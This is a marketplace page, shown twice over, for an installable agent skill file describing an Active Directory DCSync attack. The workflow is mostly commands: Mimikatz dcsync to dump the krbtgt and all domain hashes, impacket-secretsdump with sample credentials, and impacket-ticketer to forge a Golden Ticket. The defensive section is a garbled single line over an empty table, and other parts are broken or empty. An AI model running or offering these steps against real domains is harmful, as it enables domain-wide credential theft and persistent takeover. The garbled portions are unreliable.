ad-dcsync-attack

Name: ad-dcsync-attack
Author: ShulkwiSEC

18stars5forks

How to install ad-dcsync-attack?

shulkwisec/bb-huge/ad-dcsync-attack

$npx -y skills add ShulkwiSEC/bb-huge --skill ad-dcsync-attack

Installs into the current project.

Summary

Exploit Active Directory replication privileges (DS-Replication-Get-Changes) to perform a DCSync attack, allowing an attacker to impersonate a Domain Controller and extract password hashes (like the krbtgt hash for Golden Tickets) without code execution on a DC.

Files · 1

View on GitHub

SKILL.md

1	# Active Directory DCSync Attack
2
3	## When to Use
4	- When an attacker has compromised an account or group with the highly privileged `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All` rights (often Domain Admins or maliciously delegated accounts).
5	- To stealthily extract NTLM hashes (including the `krbtgt` account hash) directly from Active Directory over the network, avoiding the need to execute code or drop malware directly on a Domain Controller.
6
7
8	## Prerequisites
9	- Authorized scope and rules of engagement for the target environment
10	- Appropriate tools installed on the attack/analysis platform
11	- Understanding of the target technology stack and architecture
12	- Documentation template ready for findings and evidence capture
13
14	## Workflow
15
16	### Phase 1: Identifying the Target (krbtgt) and Access Rights
17
18	```bash
19	# ```
20
21	### Phase 2: Execution via Mimikatz (Windows)
22
23	```text
24	# privilege::debug
25	lsadump::dcsync /domain:lab.local /user:krbtgt
26
27	# lsadump::dcsync /domain:lab.local /all /csv
28	```
29
30	### Phase 3: Execution via Impacket (Linux/Network)
31
32	```bash
33	# impacket-secretsdump -just-dc-user krbtgt lab.local/administrator:Password123@10.10.10.10
34
35	# beautifully impacket-secretsdump lab.local/administrator:Password123@10.10.10.10
36	```
37
38	### Phase 4: Utilizing the Material (Golden Ticket)
39
40	```bash
41	# impacket-ticketer -nthash <KRBTGT_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain lab.local Administrator
42	```
43
44	#### Decision Point 🔀
45	```mermaid
46	flowchart TD
47	A[Identify Rights ] --> B{Possess Rights ]}
48	B -->\|Yes\| C[Execute DCSync ]
49	B -->\|No\| D[Escalate Privileges ]
50	C --> E[Extract Hashes ]
51	```
52
53	## 🔵 Blue Team Detection & Defense
54	- Monitor Directory Replication events: Review ACLs for Replication Rights (BloodHound / ADAC): Network Segmentation & Monitoring: Key Concepts
55	\| Concept \| Description \|
56	\|---------\|-------------\|
57	## Output Format
58	```
59	Ad Dcsync Attack — Assessment Report
60	============================================================
61	Target: [Target identifier]
62	Assessor: [Operator name]
63	Date: [Assessment date]
64	Scope: [Authorized scope]
65	MITRE ATT&CK: [Relevant technique IDs]
66
67	Findings Summary:
68	[Finding 1]: [Severity] — [Brief description]
69	[Finding 2]: [Severity] — [Brief description]
70
71	Detailed Results:
72	Phase 1: [Phase name]
73	- Result: [Outcome]
74	- Evidence: [Screenshot/log reference]
75	- Impact: [Business impact assessment]
76
77	Phase 2: [Phase name]
78	- Result: [Outcome]
79	- Evidence: [Screenshot/log reference]
80	- Impact: [Business impact assessment]
81
82	Risk Rating: [Critical/High/Medium/Low/Informational]
83	Recommendations:
84	1. [Immediate remediation step]
85	2. [Long-term hardening measure]
86	3. [Monitoring/detection improvement]
87	```
88
89
90	## 📚 Shared Resources
91	> For cross-cutting methodology applicable to all vulnerability classes, see:
92	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
93	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
94	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
95
96	## References
97	- AdSecurity: [Mimikatz DCSync Usage, Exploitation, and Detection](https://adsecurity.org/?p=1729)
98	- HackTricks: [DCSync](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync)

People who liked this also viewed

6 picks

Type

ad-dcsync-attack

18stars5forks

View on GitHub

How to install ad-dcsync-attack?

shulkwisec/bb-huge/ad-dcsync-attack

$npx -y skills add ShulkwiSEC/bb-huge --skill ad-dcsync-attack

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Active Directory DCSync Attack
2
3	## When to Use
4	- When an attacker has compromised an account or group with the highly privileged `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All` rights (often Domain Admins or maliciously delegated accounts).
5	- To stealthily extract NTLM hashes (including the `krbtgt` account hash) directly from Active Directory over the network, avoiding the need to execute code or drop malware directly on a Domain Controller.
6
7
8	## Prerequisites
9	- Authorized scope and rules of engagement for the target environment
10	- Appropriate tools installed on the attack/analysis platform
11	- Understanding of the target technology stack and architecture
12	- Documentation template ready for findings and evidence capture
13
14	## Workflow
15
16	### Phase 1: Identifying the Target (krbtgt) and Access Rights
17
18	```bash
19	# ```
20
21	### Phase 2: Execution via Mimikatz (Windows)
22
23	```text
24	# privilege::debug
25	lsadump::dcsync /domain:lab.local /user:krbtgt
26
27	# lsadump::dcsync /domain:lab.local /all /csv
28	```
29
30	### Phase 3: Execution via Impacket (Linux/Network)
31
32	```bash
33	# impacket-secretsdump -just-dc-user krbtgt lab.local/administrator:Password123@10.10.10.10
34
35	# beautifully impacket-secretsdump lab.local/administrator:Password123@10.10.10.10
36	```
37
38	### Phase 4: Utilizing the Material (Golden Ticket)
39
40	```bash
41	# impacket-ticketer -nthash <KRBTGT_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain lab.local Administrator
42	```
43
44	#### Decision Point 🔀
45	```mermaid
46	flowchart TD
47	A[Identify Rights ] --> B{Possess Rights ]}
48	B -->\|Yes\| C[Execute DCSync ]
49	B -->\|No\| D[Escalate Privileges ]
50	C --> E[Extract Hashes ]
51	```
52
53	## 🔵 Blue Team Detection & Defense
54	- Monitor Directory Replication events: Review ACLs for Replication Rights (BloodHound / ADAC): Network Segmentation & Monitoring: Key Concepts
55	\| Concept \| Description \|
56	\|---------\|-------------\|
57	## Output Format
58	```
59	Ad Dcsync Attack — Assessment Report
60	============================================================
61	Target: [Target identifier]
62	Assessor: [Operator name]
63	Date: [Assessment date]
64	Scope: [Authorized scope]
65	MITRE ATT&CK: [Relevant technique IDs]
66
67	Findings Summary:
68	[Finding 1]: [Severity] — [Brief description]
69	[Finding 2]: [Severity] — [Brief description]
70
71	Detailed Results:
72	Phase 1: [Phase name]
73	- Result: [Outcome]
74	- Evidence: [Screenshot/log reference]
75	- Impact: [Business impact assessment]
76
77	Phase 2: [Phase name]
78	- Result: [Outcome]
79	- Evidence: [Screenshot/log reference]
80	- Impact: [Business impact assessment]
81
82	Risk Rating: [Critical/High/Medium/Low/Informational]
83	Recommendations:
84	1. [Immediate remediation step]
85	2. [Long-term hardening measure]
86	3. [Monitoring/detection improvement]
87	```
88
89
90	## 📚 Shared Resources
91	> For cross-cutting methodology applicable to all vulnerability classes, see:
92	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
93	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
94	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
95
96	## References
97	- AdSecurity: [Mimikatz DCSync Usage, Exploitation, and Detection](https://adsecurity.org/?p=1729)
98	- HackTricks: [DCSync](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync)

People who liked this also viewed

6 picks

Type